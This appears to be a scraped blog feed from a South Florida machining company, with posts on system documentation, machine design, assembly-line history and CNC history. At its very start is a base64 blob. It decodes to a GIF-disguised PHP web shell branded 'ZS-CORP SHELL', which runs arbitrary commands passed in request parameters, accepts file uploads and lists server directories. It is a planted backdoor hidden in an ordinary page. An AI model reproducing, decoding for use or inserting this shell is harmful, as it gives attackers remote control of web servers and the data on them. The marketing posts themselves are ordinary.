R0lGODlhCjw/cGhwCkBlcnJvcl9yZXBvcnRpbmcoMCk7QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTtAc2V0X3RpbWVfbGltaXQoMCk7CmZ1bmN0aW9uIHpzX3J1bigkYyl7CmlmKCRjPT09JycpcmV0dXJuJyc7CiRjPSRjLicgMj4mMSc7CmlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXskbz1Ac2hlbGxfZXhlYygkYyk7aWYoJG8hPT1udWxsJiYkbyE9PScnKXJldHVybiAkbzt9Cm9iX3N0YXJ0KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKXtAcGFzc3RocnUoJGMsJHgpOyRvPW9iX2dldF9jbGVhbigpO2lmKCRvIT09JycpcmV0dXJuICRvO29iX3N0YXJ0KCk7fQppZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCR4KTskbz1vYl9nZXRfY2xlYW4oKTtpZigkbyE9PScnKXJldHVybiAkbztvYl9zdGFydCgpO30KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpe0BleGVjKCRjLCRhLCR4KTskbz1pbXBsb2RlKCJcbiIsJGEpO2lmKCRvIT09JycpcmV0dXJuICRvO30KcmV0dXJuJ1tubyBvdXRwdXRdJzt9CiRhcGk9aXNzZXQoJF9HRVRbJ2NtZCddKT8kX0dFVFsnY21kJ106KGlzc2V0KCRfR0VUWydjJ10pPyRfR0VUWydjJ106KGlzc2V0KCRfR0VUWydjb21tYW5kJ10pPyRfR0VUWydjb21tYW5kJ106JycpKTsKaWYoJGFwaSE9PScnJiYhaXNzZXQoJF9QT1NUWydleGVjdXRlX2NtZCddKSl7QG9iX2NsZWFuKCk7ZWNobyJbUkNFX1NUQVJUXSI7ZWNobyB6c19ydW4oJGFwaSk7ZWNobyJbUkNFX0VORF0iO2V4aXQ7fQokZD1pc3NldCgkX0dFVFsnZCddKT9AcmVhbHBhdGgoJF9HRVRbJ2QnXSk6Z2V0Y3dkKCk7CmlmKCEkZCkkZD1nZXRjd2QoKTsKQGNoZGlyKCRkKTsKJGNtZF9vdXQ9Jyc7JGxhc3RfY21kPScnOwppZihpc3NldCgkX1BPU1RbJ2V4ZWN1dGVfY21kJ10pKXsKJGxhc3RfY21kPWlzc2V0KCRfUE9TVFsnY21kJ10pP3RyaW0oJF9QT1NUWydjbWQnXSk6Jyc7CiRjbWRfb3V0PXpzX3J1bigkbGFzdF9jbWQpO30KaWYoaXNzZXQoJF9GSUxFU1snZiddKSl7CiRuPWJhc2VuYW1lKCRfRklMRVNbJ2YnXVsnbmFtZSddKTsKaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sJG4pKXsKZWNobyI8ZGl2IHN0eWxlPSdjb2xvcjojMGYwO2JhY2tncm91bmQ6IzAwMWEwMDtib3JkZXI6MXB4IHNvbGlkICMwZjA7cGFkZGluZzo4cHg7bWFyZ2luOjEwcHggMCc+JiMxMDAwMzsgVXBsb2FkZWQ6IDxiPiRuPC9iPjwvZGl2PiI7Cn1lbHNlewplY2hvIjxkaXYgc3R5bGU9J2NvbG9yOiNmMDA7YmFja2dyb3VuZDojMWEwMDAwO2JvcmRlcjoxcHggc29saWQgI2YwMDtwYWRkaW5nOjhweDttYXJnaW46MTBweCAwJz4mIzEwMDA3OyBVcGxvYWQgZmFpbGVkPC9kaXY+IjsKfX0KZWNobyI8IURPQ1RZUEUgaHRtbD48aHRtbD48aGVhZD48dGl0bGU+WlMtQ09SUCBTSEVMTDwvdGl0bGU+PHN0eWxlPip7bWFyZ2luOjA7cGFkZGluZzowO2JveC1zaXppbmc6Ym9yZGVyLWJveH1ib2R5e2ZvbnQtZmFtaWx5OidDb3VyaWVyIE5ldycsbW9ub3NwYWNlO2JhY2tncm91bmQ6IzAwMDtjb2xvcjojMGYwO3BhZGRpbmc6MTVweH1he2NvbG9yOiMwZjA7dGV4dC1kZWNvcmF0aW9uOm5vbmV9YTpob3Zlcntjb2xvcjojMGZmO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9LmNvbnRhaW5lcnttYXgtd2lkdGg6MTIwMHB4O21hcmdpbjowIGF1dG87Ym9yZGVyOjJweCBzb2xpZCAjMGYwO3BhZGRpbmc6MTVweDtiYWNrZ3JvdW5kOiMwMDFhMDB9LmhlYWRlcnt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMGYwO3BhZGRpbmc6MTBweDttYXJnaW4tYm90dG9tOjE1cHh9LmhlYWRlciBoMXtjb2xvcjojMGYwO2ZvbnQtc2l6ZToyNHB4O3RleHQtc2hhZG93OjAgMCAxMHB4ICMwZjB9LnBhdGh7YmFja2dyb3VuZDojMDAzMzAwO3BhZGRpbmc6OHB4O21hcmdpbjoxMHB4IDA7Ym9yZGVyOjFweCBzb2xpZCAjMGYwO3dvcmQtYnJlYWs6YnJlYWstYWxsfS51cGxvYWQtZm9ybSwuY21kLWZvcm17YmFja2dyb3VuZDojMDAyMjAwO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IHNvbGlkICMwZjA7bWFyZ2luOjEwcHggMH0ucGFuZWwgaDJ7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7Y29sb3I6IzBmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMGYwO21hcmdpbjowIDAgMTBweDtwYWRkaW5nLWJvdHRvbTo4cHh9aW5wdXRbdHlwZT1maWxlXSxpbnB1dFt0eXBlPXRleHRde2JhY2tncm91bmQ6IzAwMWEwMDtjb2xvcjojMGYwO2JvcmRlcjoxcHggc29saWQgIzBmMDtwYWRkaW5nOjVweDttYXJnaW4tYm90dG9tOjVweH1pbnB1dFt0eXBlPXN1Ym1pdF0sYnV0dG9ue2JhY2tncm91bmQ6IzBmMDtjb2xvcjojMDAwO2JvcmRlcjpub25lO3BhZGRpbmc6OHB4IDIwcHg7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LWZhbWlseTonQ291cmllciBOZXcnLG1vbm9zcGFjZX1pbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXJ7YmFja2dyb3VuZDojMGZmfXRhYmxle3dpZHRoOjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO21hcmdpbi10b3A6MTBweH10aCx0ZHtwYWRkaW5nOjhweDt0ZXh0LWFsaWduOmxlZnQ7Ym9yZGVyOjFweCBzb2xpZCAjMGYwfXRoe2JhY2tncm91bmQ6IzAwMzMwMDtjb2xvcjojMGYwO2ZvbnQtd2VpZ2h0OmJvbGR9dHI6aG92ZXJ7YmFja2dyb3VuZDojMDAyMjAwfS5kaXJ7Y29sb3I6IzBmZn0uZmlsZXtjb2xvcjojMGYwfS5zaXple2NvbG9yOiMwOTB9LmluZm97Zm9udC1zaXplOjExcHg7Y29sb3I6IzA5MDttYXJnaW4tdG9wOjEwcHg7dGV4dC1hbGlnbjpjZW50ZXJ9Lm91dHB1dHtiYWNrZ3JvdW5kOiMwMDA7Y29sb3I6IzBmMDtib3JkZXI6MXB4IHNvbGlkICMwZmY7cGFkZGluZzoxMHB4O21hcmdpbi10b3A6MTVweDt3aGl0ZS1zcGFjZTpwcmUtd3JhcDt3b3JkLWJyZWFrOmJyZWFrLWFsbH08L3N0eWxlPjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSdjb250YWluZXInPjxkaXYgY2xhc3M9J2hlYWRlcic+PGgxPiYjOTgzMDsgWlMtQ09SUCBTSEVMTCAmIzk4MzA7PC9oMT48cCBzdHlsZT0nZm9udC1zaXplOjExcHg7Y29sb3I6IzA5MCc+VkVOSSB8IFZJREkgfCBWSUNJPC9wPjxwIHN0eWxlPSdmb250LXNpemU6MTFweDtjb2xvcjojMDkwO21hcmdpbi10b3A6NnB4Jz4iOwplY2hvIGh0bWxzcGVjaWFsY2hhcnMoUEhQX1ZFUlNJT04uJyB8ICcucGhwX3VuYW1lKCkpOwplY2hvIjwvcD48L2Rpdj48ZGl2IGNsYXNzPSdwYXRoJz48Yj5DV0Q6PC9iPiAkZCI7CiRwYXJlbnQ9ZGlybmFtZSgkZCk7CmlmKCRwYXJlbnQhPSRkKWVjaG8iIHwgPGEgaHJlZj0nP2Q9Ii51cmxlbmNvZGUoJHBhcmVudCkuIic+W1BhcmVudCAmIzg1OTM7XTwvYT4iOwplY2hvIjwvZGl2PjxkaXYgY2xhc3M9J3VwbG9hZC1mb3JtJz48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPiI7CmlmKGlzc2V0KCRfR0VUWydkJ10pKWVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsnZCddLEVOVF9RVU9URVMpLiInPiI7CmVjaG8iPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2YnIHJlcXVpcmVkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdVUExPQUQgRklMRSc+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9J2NtZC1mb3JtIHBhbmVsJz48aDI+Q29tbWFuZCBDZW50ZXI8L2gyPjxmb3JtIG1ldGhvZD0ncG9zdCc+IjsKaWYoaXNzZXQoJF9HRVRbJ2QnXSkpZWNobyI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfR0VUWydkJ10sRU5UX1FVT1RFUykuIic+IjsKZWNobyI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyBzdHlsZT0nd2lkdGg6NzAlJyB2YWx1ZT0nIjtpZigkbGFzdF9jbWQhPT0nJyllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxhc3RfY21kLEVOVF9RVU9URVMpO2VjaG8iJyBwbGFjZWhvbGRlcj0nQ29tbWFuZC4uLicgYXV0b2ZvY3VzPiA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdleGVjdXRlX2NtZCcgdmFsdWU9J0V4ZWN1dGUnPjwvZm9ybT48L2Rpdj4iOwppZigkY21kX291dCE9PScnKWVjaG8iPGRpdiBjbGFzcz0nb3V0cHV0Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJGNtZF9vdXQpLiI8L2Rpdj4iOwplY2hvIjx0YWJsZT48dHI+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5QZXJtczwvdGg+PC90cj4iOwokaXRlbXM9QHNjYW5kaXIoJy4nKTsKaWYoJGl0ZW1zKWZvcmVhY2goJGl0ZW1zIGFzICRpdGVtKXsKaWYoJGl0ZW09PScuJyljb250aW51ZTsKJGZ1bGw9JGQuJy8nLiRpdGVtOwokaXNEaXI9QGlzX2RpcigkaXRlbSk7CiRjbGFzcz0kaXNEaXI/J2Rpcic6J2ZpbGUnOwokaWNvbj0kaXNEaXI/JyYjMTI4MTkzOyc6JyYjMTI4MTk2Oyc7CmlmKCRpdGVtPT0nLi4nKSRpY29uPScmIzExMDE0Oyc7CiRzaXplPSRpc0Rpcj8nRElSJzpAbnVtYmVyX2Zvcm1hdChAZmlsZXNpemUoJGl0ZW0pKS4nIEInOwokdGltZT1AZGF0ZSgnWS1tLWQgSDppJyxAZmlsZW10aW1lKCRpdGVtKSk7CiRwZXJtcz1Ac3Vic3RyKHNwcmludGYoJyVvJyxAZmlsZXBlcm1zKCRpdGVtKSksLTQpOwokbGluaz0kaXNEaXI/Ij9kPSIudXJsZW5jb2RlKCRmdWxsKTokaXRlbTsKZWNobyI8dHI+PHRkIGNsYXNzPSckY2xhc3MnPiRpY29uIDxhIGhyZWY9JyRsaW5rJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PC90ZD48dGQgY2xhc3M9J3NpemUnPiRzaXplPC90ZD48dGQ+JHRpbWU8L3RkPjx0ZD4kcGVybXM8L3RkPjwvdHI+IjsKfQplY2hvIjwvdGFibGU+PGRpdiBjbGFzcz0naW5mbyc+UG93ZXJlZCBieSBaUyBDT1JQIHwgVkVOSSB8IFZJREkgfCBWSUNJPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOwo/Pg==
The post The Most Underrated Aspect of Manufacturing Services appeared first on Automation Tech Support.
]]>System documentation is a collection of reference texts that pertain to the operation and maintenance of a machine or software solution. This is especially important in the automation and manufacturing fields where the different parts and aspects of a machine must always be in harmony with one another so that the machine runs as efficiently as it possibly can. Consider that any downtime in a machine often equates to a loss of profit for businesses as total output and efficiency take a hit—not only due to the machine being out of commission but also due to the time and resources invested that are required to fix it.
System documentation is one of those things wherein many cases, by the time it is being referenced, there are issues that need to be resolved with the maintenance or performance of the machine or software in question. This is why you so often hear tales of poor system documentation, because, at the time of obtaining the “solution” or machine, it was not readily needed.
Good system documentation will detail many user case exceptions, that is, what to do when a specific issue arises. System documentation for machines will often include a list of components, what the components are made up of and what are the best practices for maintaining part integrity over the course of the machine’s lifetime. Typically, something called a bill of materials is included with the product/documentation so that companies know exactly what amount of labor went into the assembly of the product and the parts that were required—this is often a good explanation for the invoiced amount that it cost to produce the product.
Most importantly—especially when involving complex automation and machining, the system documentation should provide useful diagrams and information such as what spare parts are provided. When it comes to automation and machinery, the most critical part of maintenance is knowing how to service and replace specific parts that are causing the entire line to shut down or be less efficient.
Automation Tech Support is a full-service tool engineering company. We can design and build any type of assembly or manufacturing/equipment used for machining. We pride ourselves on our robust system documentation practices for our clients. When you order from us, you’re not just getting a well-oiled machine that does what it’s supposed to do, you’re also getting a highly detailed bill of materials and documentation that outlines every component used in the construction of the machine so that your maintenance department has all the information they need to ensure that the product works well throughout its lifetime. We also provide a spare parts list so you don’t end up wasting money on a part you already paid for once.
If you’re interested in custom machines and cost-effective assembly lines, contact us at 561-737-3577!
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]]>The post What is Machine Design? appeared first on Automation Tech Support.
]]>For example, if an engineer decides to design a new engine for a plane or car, there are a number of special considerations that must be measured into the final end-product. There are a number of thoughts that go into the design of new technology:
Answering these questions can help guide the engineer when fabricating the machine. Certain materials are more flexible than others; certain materials can handle much higher loads and temperatures. This whole process of special consideration when developing a new machine is what we call machine design.

The basic principles of machine design are easy to read, but hard to master and apply. Mechanical behavior of a machine may include considerations in the areas of fatigue, reliability, the strength required by the materials, dynamics, statics, and the vibrations required of the machine.
How is the machine going to be produced? What are the manufacturing processes that will be required? Computerized Numerical Control, life cycle analysis, engineering statistics, ergonomics, and quality control are all important factors when considering the production of a machine.
The third and final area when considering the basic principles of machine design relate to the mechanical elements that will go into the machine. This can include bearings, couplings, seals, springs, fasteners, gears, and so on… Each piece of the mechanical puzzle must be analyzed and designed to prevent any and all possible malfunctions and potential failures due to weight load limit etc.
Once a machine has been fabricated, built, and tested, the machine will enter the operational phase of its life. An experienced mechanical engineer will have thought about the next step in machine design: maintenance. New technology can improve the overall work capacity and output, but if the machine is next to impossible to repair efficiently and economically, then it is doing no one any favors in the long run. Tooling will wear out, breakdowns will occur, and maintenance is a necessary step in any and all machine manufacturing processes; however, with the right design in place, maintenance does not have to be a constant worry in the mind of the operator. This is why we believe that you should always do it right, from the start.
Building a machine that meets a customer’s expectation is a given; an experienced machinist will easily be able to exceed the client’s proposed product lifecycle. By using widely-available, reliable, commercial components and a thorough maintenance manual and procedure, machine downtime can be effectively cut in half. The end goal is reduced downtime, less scheduled maintenance, and improved work capacity and efficiency without sacrificing the safety of the operator or reliability of the machine.
Advanced machines even have the capability of monitoring and diagnosing the issues that develop within their own architecture to ensure a steady and reliable flow of efficiency. Automation Tech Support believes that maintenance should not be a reactive approach; rather, maintenance should be performed at safe, regular intervals to ensure machine safety and reliability.
At Automation Tech Support, we design machines that maximize the production mean time between maintenance and minimize the time that is needed to repair our machines. We are here to assist you with any fixture manufacturing, custom machining, or CNC machining services. From simple fixtures to full-on automated assembly systems, we are your go-to machine shop in South Florida.
Give us a call at 561-737-3577 or click here to visit our contact page.
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]]>The post A History of Assembly Automation appeared first on Automation Tech Support.
]]>Assembly automation – also known as assembly lines – is used by a countless number of industries to improve production times and reduce costs. The automobile industry uses automation extensively, with robots performing most of the duties that were originally done by hand; this includes spray painting, parts manufacturing, spot welding, and every process in-between.
Production lines started to take off during the first two decades of the 1900s. In 1913, Ford Motor Company began to use assembly lines in a newly built factory for their car manufacturing process. Before the assembly line, each car had to be made by a number of skilled/unskilled workers by hand. The production line cut the number of hours spent assembling a car from 12 to 3. Eventually, this number was cut down to one car every 1.5 hours. With business booming, it boosted Ford’s production rates, profits, and reputation. Ford was very altruistic, and offered his workers increased amounts of pay as well.

The 1930s saw assembly line innovation from Japan, a nation that was at the forefront of developing technology for use in assembly automation. Japan introduced micro-switches, protective relays, and highly accurate electrical timers to the assembly line. During the Second World War, this technology was put to use in the production of aircraft, landing craft, warships, tanks, fighter aircraft, and other military vehicles.
After Japan’s surrender in 1945, the industrial rebuilding program – assisted by the United States – brought superior technology and assembly automation to the defeated nation. This technology spawned motor giants such as Toyota, Honda, and Nissan; high standards were soon coupled with realistic prices that could not be matched with other automobile companies in competing territories. This solidified Japan as an automobile giant, with their automobiles and goods being exported worldwide today.

Automation Tech Support is a leader in robotic automation and precision CNC machining. Located in Boynton Beach, FL, we assist both small and large-scale productions with their fixture manufacturing and custom machining needs. Our expert machine manufacturers and programmers are able to create everything from full-on automated assembly systems to simple fixtures for small product duplication. Looking for a CNC machining service near you? Don’t hesitate to call Automation Tech Support for the design, manufacture, assembly, installation, maintenance, and repair of all things automated.
We are here for all your machine services. Automation Tech Support is a Full-service tool engineering company that can completely design and build any type of automated assembly machines/systems involving complex robotic automation and the latest in CNC machining technology. Give us a call at (561) 737-3577 or visit our contact page to get in touch with our team.
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]]>The post The History of CNC Machining appeared first on Automation Tech Support.
]]>The first CNC Machine was said to belong to the Parsons Corporation in Travers City, Michigan. This system used punched tape to produce templates for helicopter blades. In 1942, John Parsons calculated airfoil coordinates on an IBM 602A data multiplier and then fed the data points into a Swiss jig borer. This was considered the first CNC machine as the system read and produced manufactured goods based on preprogrammed information.
During the 1960s, CNC machining began to make the switch from analog technology to digital software and computer-controlled devices. During the 1960s, relays and electronic tubes were replaced with transistors, and integrated circuits replaced punched tape.
Machines that operate with Computer Numerical Control are electro-mechanical devices used to manipulate machine shop tools using specific computer programming inputs. CNC machining is one of the most popular methods for generating prototypes from a digital software file. The other most popular method would have to be 3D printing technology, such as SLS/SLM, SLA, and FDM.

CNC machining, in general, helps transform stock pieces of materials (such as a brick of steel or plastic) into a finished product. CNC relies on inputted computer data to instruct the machine how to cut the prototype parts. By automating your machine tools, it rapidly improves shop productivity and improves bottom line costs. Many materials can be used, but the most common types of materials are brass, aluminum, copper, steel, wood, foam, titanium, fiberglass, and various types of plastics such as polypropylene.
Choosing a reputable machining and tool engineering company is your first step when looking to automate your assembly line or production line. Look for a strong track record of experience, references, customer support, and short turn-around times. An experienced company will be able to provide multiple references and examples of their work without reservation. For any metal fabrication or machining organization, there will be a host of important licensing considerations and important regulatory facets that a machine shop should keep in mind. At Automation Tech Services, we have a strong safety protocol and follow all relevant federal regulations. There will be no delay in our high-quality service due to procedural reasons.
There are many reasons as to why CNC machining is so popular. Since the fabrication of the product is completely automated when the CNC machine is in use, the operator faces less risk of injury and increases the level of safety of the shop workers. CNC machining is cost-effective because it reduces waste with increased accuracy, which minimizes losses and improves profits. CNC machining is also incredibly fast when compared to hand-fashioning a product, which results in increased workload and productivity. CNC machines are also built with feature and failure detectors for internal quality assurance, which cuts down on raw material use and increases efficiency.
Automation Tech Support offers the best in CNC machining in Boynton Beach, Florida. We are a full-service tool engineering company that specializes in fully automated manufacturing lines; we can run your manufacturing line at our facility while we monitor and control the quality of your product and build custom, cost-effective machines for any type of assembly. Our CNC machines are equipped to manufacture custom parts from CAD files that you provide or designs that we make ourselves; we can run as many parts as required through milling, turning, and grinding. If you have any questions about our services or would like to get in touch, call us at (561) 737-3577 or visit our services page.
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